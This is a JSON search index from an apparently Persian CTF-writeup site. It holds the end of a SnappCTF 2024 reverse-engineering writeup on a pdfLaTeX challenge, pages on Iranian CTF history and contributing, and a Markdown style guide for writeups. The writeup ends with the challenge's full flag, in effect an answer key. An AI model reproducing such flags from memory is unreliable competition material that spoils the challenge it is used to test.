\u062f\u0648\u0631\u0634\u0648\u0646 \u06cc\u0647 \u0633\u0631\u06cc \u0645\u062a\u0646 \u0646\u0648\u0634\u062a\u0647 \u0634\u062f\u0647\u060c \u0627\u0632 \u00ab\u0648\u0644\u06a9\u0627\u0645\u00bb \u0634\u0631\u0648\u0639 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u067e\u0627\u062f \u0633\u0627\u0639\u062a\u06af\u0631\u062f \u0645\u06cc\u0686\u0631\u062e\u06cc\u0645 \u0648 \u0647\u06cc \u06a9\u067e\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u062f\u0631 \u0645\u06cc\u0627\u062f =))

FLAG

SNAPP{_g3n3r4T3_r4nd0m_c0l0r_1n_w4y_7h47_w0rk5_w17h_pdfLaTeX!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["SnappCTF","SnappCTF-2024","Reverse","PDF","PDFLatex"]},{"location":"getStarted/CTF-in-Iran/","title":"CTF\u0633 \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646","text":""},{"location":"getStarted/CTF-in-Iran/#ctf_1","title":"\u062a\u0627\u0631\u06cc\u062e\u0686\u0647 \u0628\u0631\u06af\u0632\u0627\u0631\u06cc CTF \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646","text":""},{"location":"getStarted/CTF-in-Iran/#asis","title":"\u0645\u0633\u0627\u0628\u0642\u0647 ASIS","text":""},{"location":"getStarted/CTF-in-Iran/#_1","title":"\u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u0634\u0631\u06cc\u0641","text":""},{"location":"getStarted/CTF-in-Iran/#mapnactf","title":"mapnactf","text":""},{"location":"getStarted/CTF-in-Iran/#_2","title":"\u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u062f\u0627\u0646\u0634\u06af\u0627\u0647 \u0627\u0631\u0648\u0645\u06cc\u0647","text":""},{"location":"getStarted/CTF-in-Iran/#_3","title":"\u0633\u0627\u06cc\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a","text":""},{"location":"getStarted/CTF-in-Iran/#_4","title":"\u0633\u0637\u062d \u06a9\u06cc\u0641\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646","text":""},{"location":"getStarted/CTF-in-Iran/#_5","title":"\u062a\u06cc\u0645 \u0647\u0627 \u0645\u0637\u0631\u062d \u0627\u06cc\u0631\u0627\u0646\u06cc","text":""},{"location":"getStarted/contribution/","title":"\u0646\u062d\u0648\u0647 \u0647\u0645\u06a9\u0627\u0631\u06cc","text":"

\u0645\u0627 \u0647\u0645\u0647 \u0627\u0632 \u06a9\u0633\u0627\u0646\u06cc \u06a9\u0647 \u0628\u062e\u0648\u0627\u0647\u0646\u062f \u0628\u0627 \u0645\u0627 \u0647\u0645\u06a9\u0627\u0631\u06cc \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u0646\u062f \u0628\u0647 \u06af\u0631\u0645\u06cc \u0627\u0633\u062a\u0642\u0628\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u0627\u06cc\u0646 \u0647\u0645\u06a9\u0627\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u062f\u0631 \u0642\u0627\u0644\u0628 \u0645\u0634\u0627\u0631\u06a9\u062a \u062f\u0631 \u0628\u062e\u0634\u200c\u0647\u0627\u06cc \u0632\u06cc\u0631 \u062e\u0644\u0627\u0635\u0647 \u0634\u0648\u062f:

\u0627\u06af\u0631 \u062a\u0645\u0627\u06cc\u0644 \u062f\u0627\u0631\u06cc\u062f \u06a9\u0647 \u062f\u0627\u0646\u0634 \u0648 \u062a\u062c\u0631\u0628\u0647 \u062e\u0648\u062f \u062f\u0631 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc CTF \u0631\u0627 \u062f\u0631 \u0627\u062e\u062a\u06cc\u0627\u0631 \u062f\u06cc\u06af\u0631\u0627\u0646 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f \u062e\u0648\u0634\u062d\u0627\u0644 \u062e\u0648\u0627\u0647\u06cc\u0645 \u0634\u062f \u06a9\u0647 \u0627\u0632 \u0628\u0633\u062a\u0631 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0634\u0645\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0628\u062a\u062f\u0627 \u0646\u06a9\u0627\u062a \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0646\u06af\u0627\u0631\u0634 \u0631\u0627\u06cc\u062a\u0627\u067e \u0648 \u0646\u062d\u0648\u0647 \u0646\u0648\u0634\u062a\u0646 \u0628\u0627 \u0641\u0631\u0645\u062a md \u0631\u0627 \u0645\u0637\u0627\u0644\u0639\u0647 \u06a9\u0646\u06cc\u062f \u062a\u0627 \u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632\u0628\u06cc\u0646\u06cc \u0631\u0627\u06cc\u062a\u0627\u067e\u060c \u0622\u0646 \u0631\u0627 \u0628\u0627 \u0646\u0627\u0645 \u062e\u0648\u062f\u062a\u0627\u0646 \u0645\u0646\u062a\u0634\u0631 \u06a9\u0646\u06cc\u0645.

\u0628\u0631\u0627\u06cc \u0639\u0636\u0648\u06cc\u062a \u062f\u0631 \u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc \u0647\u06cc\u0686 \u0645\u062d\u062f\u0648\u062f\u06cc \u0627\u0632 \u0644\u062d\u0627\u0638 \u0633\u0637\u062d \u062f\u0627\u0646\u0634 \u0648\u062c\u0648\u062f \u0646\u062f\u0627\u0631\u062f \u0648 \u062a\u0646\u0647\u0627 \u0645\u0644\u0627\u06a9 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u062a\u0644\u0627\u0634 \u0648 \u067e\u0634\u062a\u06a9\u0627\u0631 \u0641\u0631\u062f \u062f\u0631 \u0637\u0648\u0644 \u0632\u0645\u0627\u0646 \u0627\u0633\u062a. \u0628\u0631\u0627\u06cc \u0639\u0636\u0648\u06cc\u062a \u062f\u0631 \u062a\u06cc\u0645\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0641\u0631\u0645 \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0631\u0627 \u067e\u0631 \u06a9\u0646\u06cc\u062f \u06cc\u0627 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f \u0628\u0647 \u0622\u062f\u0631\u0633 mheidari98 \u067e\u06cc\u0627\u0645 \u062f\u0647\u06cc\u062f.

\u062a\u0647\u06cc\u0647 \u0645\u0642\u0627\u0644\u0647\u200c\u0647\u0627\u06cc \u067e\u0698\u0648\u0647\u0634\u06cc \u0641\u0627\u0631\u0633\u06cc \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 CTF \u06cc\u0627 \u062a\u0635\u0627\u0648\u06cc\u0631 \u0648 \u0648\u06cc\u062f\u06cc\u0648\u0647\u0627\u06cc \u0622\u0645\u0648\u0632\u0634\u06cc \u0646\u06cc\u0632 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0632 \u0645\u0648\u0627\u0631\u062f \u0647\u0645\u06a9\u0627\u0631\u06cc \u0628\u0627 \u0645\u0627 \u0628\u0627\u0634\u062f.

"},{"location":"getStarted/customization/","title":"\u0634\u062e\u0635\u06cc\u200c\u0633\u0627\u0632\u06cc","text":""},{"location":"getStarted/customization/#_2","title":"\u0627\u0646\u0648\u0627\u0639 \u0632\u0645\u06cc\u0646\u0647\u200c\u0647\u0627\u06cc \u0631\u0646\u06af\u06cc","text":""},{"location":"getStarted/customization/#_","title":"\u06f1_ \u0631\u0648\u0634\u0646 \u0648 \u062a\u0627\u0631\u06cc\u06a9 \u0628\u0648\u062f\u0646 \u067e\u0633\u200c\u0632\u0645\u06cc\u0646\u0647","text":"

\u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0648\u06cc\u0698\u06af\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0631\u0627\u0633\u0627\u0633 \u062a\u0646\u0638\u06cc\u0645\u0627\u062a \u0645\u0631\u0648\u0631\u06af\u0631 \u0648 \u0633\u06cc\u0633\u062a\u0645\u060c \u0628\u0647 \u0637\u0648\u0631 \u062e\u0648\u062f\u06a9\u0627\u0631 \u06cc\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u062f\u0633\u062a\u06cc \u0628\u06cc\u0646 \u0632\u0645\u06cc\u0646\u0647\u200c\u0647\u0627\u06cc \u0631\u0648\u0634\u0646 \u0648 \u062a\u0627\u0631\u06cc\u06a9 \u062c\u0627\u0628\u062c\u0627 \u0634\u0648\u06cc\u062f.

Default Slate"},{"location":"getStarted/customization/#__1","title":"\u06f2_ \u0631\u0646\u06af\u200c\u0647\u0627\u06cc \u0642\u0627\u0644\u0628 \u0627\u0635\u0644\u06cc","text":"

\u0628\u0631\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u0631\u0646\u06af \u0627\u0635\u0644\u06cc \u0642\u0627\u0644\u0628 \u0627\u0635\u0644\u06cc \u0631\u0648\u06cc \u0628\u0644\u0648\u06a9 \u0631\u0646\u06af \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f.

Red Pink Purple Deep Purple Indigo Blue Light Blue Cyan Teal Green Light Green Lime Yellow Amber Orange Deep Orange Brown Grey Blue Grey White"},{"location":"getStarted/customization/#__2","title":"\u06f3_ \u0631\u0646\u06af\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u062a\u0627\u06a9\u06cc\u062f","text":"

\u0628\u0631\u0627\u06cc \u062a\u063a\u06cc\u06cc\u0631 \u0631\u0646\u06af \u0628\u062e\u0634\u200c\u0647\u0627\u06cc \u062a\u0627\u06a9\u06cc\u062f\u06cc \u0645\u0627\u0646\u0646\u062f \u0639\u0628\u0648\u0631 \u0645\u0627\u0648\u0633 \u0627\u0632 \u0631\u0648\u06cc \u0644\u06cc\u0646\u06a9\u200c\u0647\u0627 \u0648 \u0628\u0631\u0686\u0633\u0628\u200c\u0647\u0627\u060c \u0631\u0648\u06cc \u0628\u0644\u0648\u06a9 \u0631\u0646\u06af\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u062e\u0648\u062f \u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u06a9\u0644\u06cc\u06a9 \u06a9\u0646\u06cc\u062f.

Red Pink Purple Deep Purple Indigo Blue Light Blue Cyan Teal Green Light Green Lime Yellow Amber Orange Deep Orange"},{"location":"getStarted/template/","title":"\u0646\u062d\u0648\u0647 \u0646\u0648\u0634\u062a\u0646 \u0628\u0627 \u0641\u0631\u0645\u062a Markdown","text":"

\u0628\u0631\u0627\u06cc \u0646\u0648\u0634\u062a\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0627 \u0641\u0631\u0645\u062a md \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u062a\u0646 \u0628\u0627\u0632 Joplin \u062f\u0631 \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0627\u06cc\u0646 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u060c \u0641\u0631\u0645\u062a md \u0648 \u0632\u0628\u0627\u0646 \u0641\u0627\u0631\u0633\u06cc \u0631\u0627 \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0646\u0648\u0634\u062a\u0647\u200c\u0647\u0627 \u062f\u0631 \u0622\u0646 \u0627\u0632 \u0631\u0627\u0633\u062a \u0628\u0647 \u0686\u067e \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u067e\u0633 \u0627\u0632 \u062f\u0627\u0646\u0644\u0648\u062f \u0648 \u0646\u0635\u0628 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 Joplin, \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062c\u0647\u062a \u0633\u0647\u0648\u0644\u062a \u062f\u0631 \u0646\u0648\u0634\u062a\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627\u06cc \u062e\u0648\u062f\u060c \u0627\u0632 \u0627\u06cc\u0646 \u0646\u0645\u0648\u0646\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0642\u0627\u0644\u0628\u06cc \u0628\u0631\u0627\u06cc \u0646\u06af\u0627\u0631\u0634 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0627\u06cc\u0646 \u0628\u062e\u0634\u060c \u0627\u0646\u0648\u0627\u0639 \u0639\u0646\u0627\u0635\u0631 \u0646\u0648\u0634\u062a\u0627\u0631\u06cc Markdown \u0647\u0645\u0631\u0627\u0647 \u0628\u0627 \u0646\u0645\u0627\u06cc\u0634 \u0622\u0646 \u062f\u0631 \u0633\u0627\u06cc\u062a \u062f\u0631 \u062f\u0648 \u062a\u0628 \u062c\u062f\u0627\u06af\u0627\u0646\u0647 \u062a\u0648\u0636\u06cc\u062d \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u062f\u0631 \u0646\u0648\u0634\u062a\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0639\u0646\u0627\u0635\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627\u0639\u062b \u0627\u0631\u062a\u0642\u0627 \u0633\u0627\u062e\u062a\u0627\u0631 \u0648 \u062e\u0648\u0627\u0646\u0627\u06cc\u06cc \u0631\u0627\u06cc\u062a\u0627\u067e \u0634\u0645\u0627 \u06af\u0631\u062f\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a \u0641\u0631\u0645\u062a Markdown
## \u0632\u06cc\u0631\u0628\u062e\u0634 1\n\n### \u0632\u06cc\u0631\u0628\u062e\u0634 2    \n\n#### \u0632\u06cc\u0631\u0628\u062e\u0634 3\n\n##### \u0632\u06cc\u0631\u0628\u062e\u0634 4\n\n###### 5 \u0632\u06cc\u0631\u0628\u062e\u0634 \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_1","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f1","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_2","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f2","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_3","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f3","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_4","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f4","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_5","title":"\u0632\u06cc\u0631\u0628\u062e\u0634 \u06f5","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_6","title":"\u062d\u0627\u0644\u062a\u200c\u0647\u0627\u06cc \u0646\u0648\u0634\u062a\u0627\u0631\u06cc","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0628\u0627 \u0627\u0646\u0648\u0627\u0639 \u0646\u0648\u0634\u062a\u0627\u0631 \u0645\u0627\u0646\u0646\u062f \u0636\u062e\u06cc\u0645 \u06a9\u0631\u062f\u0646 \u06cc\u0627 \u0632\u0627\u0648\u06cc\u0647 \u062f\u0627\u062f\u0646 \u0628\u0647 \u06a9\u0644\u0645\u0627\u062a\u060c \u0627\u0631\u062c\u0627\u0639 \u062f\u0627\u062f\u0646 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0644\u06cc\u0646\u06a9 \u0648 \u0646\u062d\u0648\u0647 \u0646\u0642\u0644 \u0642\u0648\u0644 \u06af\u0630\u0627\u0634\u062a\u0646 \u062f\u0631 \u062f\u0627\u062e\u0644 \u0645\u062a\u0646 \u0622\u0634\u0646\u0627 \u062e\u0648\u0627\u0647\u06cc\u062f \u0634\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

\u0636\u062e\u06cc\u0645 \u06a9\u0631\u062f\u0646 \u0646\u0648\u0634\u062a\u0647

\u0632\u0627\u0648\u06cc\u0647 \u062f\u0627\u0631 \u0628\u0648\u062f\u0646 \u0645\u062a\u0646

\u0642\u0631\u0627\u0631\u062f\u0627\u062f\u0646 \u0644\u06cc\u0646\u06a9 \u062f\u0631 \u0645\u062a\u0646

\u0646\u0642\u0644 \u0642\u0648\u0644 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0627\u0633\u062a

    **\u0636\u062e\u06cc\u0645 \u06a9\u0631\u062f\u0646 \u0646\u0648\u0634\u062a\u0647**   \n\n    *\u0632\u0627\u0648\u06cc\u0647 \u062f\u0627\u0631 \u0628\u0648\u062f\u0646 \u0645\u062a\u0646*\n\n    \u0642\u0631\u0627\u0631\u062f\u0627\u062f\u0646 [\u0644\u06cc\u0646\u06a9](https://flagmotori.github.io/) \u062f\u0631 \u0645\u062a\u0646\n\n    >  \u0646\u0642\u0644 \u0642\u0648\u0644 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0627\u0633\u062a \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_7","title":"\u0641\u0631\u0645\u0648\u0644 \u0646\u0648\u06cc\u0633\u06cc","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#-","title":"\u06f1- \u0641\u0631\u0645\u0648\u0644 \u062f\u0631 \u0645\u062a\u0646","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

\u062e\u0648\u0634\u200c\u0628\u062e\u062a\u0627\u0646\u0647 \u0645\u0627\u0631\u06a9\u062f\u0627\u0648\u0646 \u0627\u0632 \u0641\u0631\u0645\u0648\u0644 \u0646\u0648\u06cc\u0633\u06cc Latex \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0646\u0648\u0634\u062a\u0627\u0631 \u0631\u06cc\u0627\u0636\u06cc \u062f\u0631 \u062f\u0627\u062e\u0644 \u0645\u062a\u0646 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \\Sigma[(a^b)+c]* \\sqrt d =23 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f.

\u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u0645\u0627\u0631\u06a9\u062f\u0627\u0648\u0646 \u0627\u0632 \u0627\u0632 \u0641\u0631\u0645\u0648\u0644 \u0646\u0648\u06cc\u0633\u06cc Latex \u067e\u0634\u062a\u06cc\u0628\u0627\u0646\u06cc \u0645\u06cc \u06a9\u0646\u062f. \n\u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0646\u0648\u0634\u062a\u0627\u0631 \u0631\u06cc\u0627\u0636\u06cc \u062f\u0631 \u062f\u0627\u062e\u0644 \u0645\u062a\u0646 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a  $\\Sigma[(a^b)+c] *\\sqrt d =23$  \u0645\u06cc \u062a\u0648\u0627\u0646 \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f.\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#-_1","title":"\u06f2- \u0641\u0631\u0645\u0648\u0644 \u0646\u0648\u06cc\u0633\u06cc \u062f\u0631 \u0648\u0633\u0637 \u0635\u0641\u062d\u0647","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown m^5 \\equiv a2 \\times{a1^{-1}} \\mod \\varphi (n)
$$\nm^5 \\equiv  a2 \\times{a1^{-1}} \\mod \\varphi (n)\n$$ \n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_8","title":"\u0627\u0646\u0648\u0627\u0639 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u0648 \u0646\u06a9\u062a\u0647\u200c\u06af\u0630\u0627\u0631\u06cc :","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u0647\u0627 \u06cc\u0627 \u0646\u06a9\u0627\u062a \u0645\u0647\u0645 \u0631\u0627 \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f. \u0644\u0637\u0641\u0627 \u0646\u06a9\u0627\u062a \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0627\u06cc\u0646 \u0642\u0633\u0645\u062a \u0631\u0627 \u062f\u0631 \u0631\u0627\u06cc\u062a\u0627\u067e \u062e\u0648\u062f \u0631\u0639\u0627\u06cc\u062a \u06a9\u0646\u06cc\u062f.

\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown

Info

\u0646\u06a9\u062a\u0647 \u0628\u0633\u06cc\u0627\u0631 \u0645\u0647\u0645 : \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0628\u0627\u06cc\u062f \u0642\u0648\u0627\u0646\u06cc\u0646 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0633\u0631\u0642\u062a \u0627\u062f\u0628\u06cc \u0631\u0627 \u0631\u0639\u0627\u06cc\u062a \u06a9\u0646\u062f. \u062f\u0631\u063a\u06cc\u0631 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0639\u0648\u0627\u0642\u0628 \u0622\u0646 \u0645\u062a\u0648\u062c\u0647 \u062e\u0648\u062f \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.

\u06cc\u0627\u062f\u062f\u0627\u0634\u062a 1

\u0645\u06cc \u062a\u0648\u0627\u0646 \u0646\u0627\u0645 \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0631\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0630\u06a9\u0631 \u06a9\u0631\u062f.

\u06cc\u0627\u062f\u062f\u0627\u0634\u062a 2

Flag

\u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc \u0634\u0648\u062f \u06a9\u0647 \u0641\u0644\u06af \u0631\u0627 \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u06af\u0630\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f.

    !!! info\n        **\u0646\u06a9\u062a\u0647 \u0628\u0633\u06cc\u0627\u0631 \u0645\u0647\u0645** : \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0628\u0627\u06cc\u062f \u0642\u0648\u0627\u0646\u06cc\u0646 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 **\u0633\u0631\u0642\u062a \u0627\u062f\u0628\u06cc** \u0631\u0627 \u0631\u0639\u0627\u06cc\u062a \u06a9\u0646\u062f. \u062f\u0631\u063a\u06cc\u0631 \u0627\u06cc\u0646\u0635\u0648\u0631\u062a \u0639\u0648\u0627\u0642\u0628 \u0622\u0646 \u0645\u062a\u0648\u062c\u0647 \u062e\u0648\u062f \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f.\n\n    !!! note \"\u06cc\u0627\u062f\u062f\u0627\u0634\u062a 1\"\n         \u0645\u06cc \u062a\u0648\u0627\u0646 \u0646\u0627\u0645 \u0646\u0648\u06cc\u0633\u0646\u062f\u0647 \u0631\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u06a9 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0630\u06a9\u0631 \u06a9\u0631\u062f.\n\n    !!! note \"\"\n        \u06cc\u0627\u062f\u062f\u0627\u0634\u062a 2\n\n    ??? success \"Flag\"\n        \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0641\u0644\u06af \u0631\u0627 \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u0646\u0648\u0639 \u06cc\u0627\u062f\u062f\u0627\u0634\u062a \u06af\u0630\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u062f\u0647\u06cc\u062f.\n
","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_9","title":"\u0627\u0646\u0648\u0627\u0639 \u0646\u0645\u0627\u06cc\u0634 \u06a9\u062f:","text":"","tags":["\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","\u0642\u0627\u0644\u0628","\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","Markdown","Joplin"]},{"location":"getStarted/template/#_10","title":"\u062f\u0633\u062a\u0648\u0631\u0627\u062a \u062f\u0631 \u062e\u0637 \u0641\u0631\u0645\u0627\u0646:","text":"\u0646\u0645\u0627\u06cc\u0634 \u062f\u0631 \u0633\u0627\u06cc\u062a\u0641\u0631\u0645\u062a Markdown
> pip install pycryptodome\n> import numpy as np\n
    ```\n        > pip install pycryptodome\n        > import numpy as np\n    ```\n
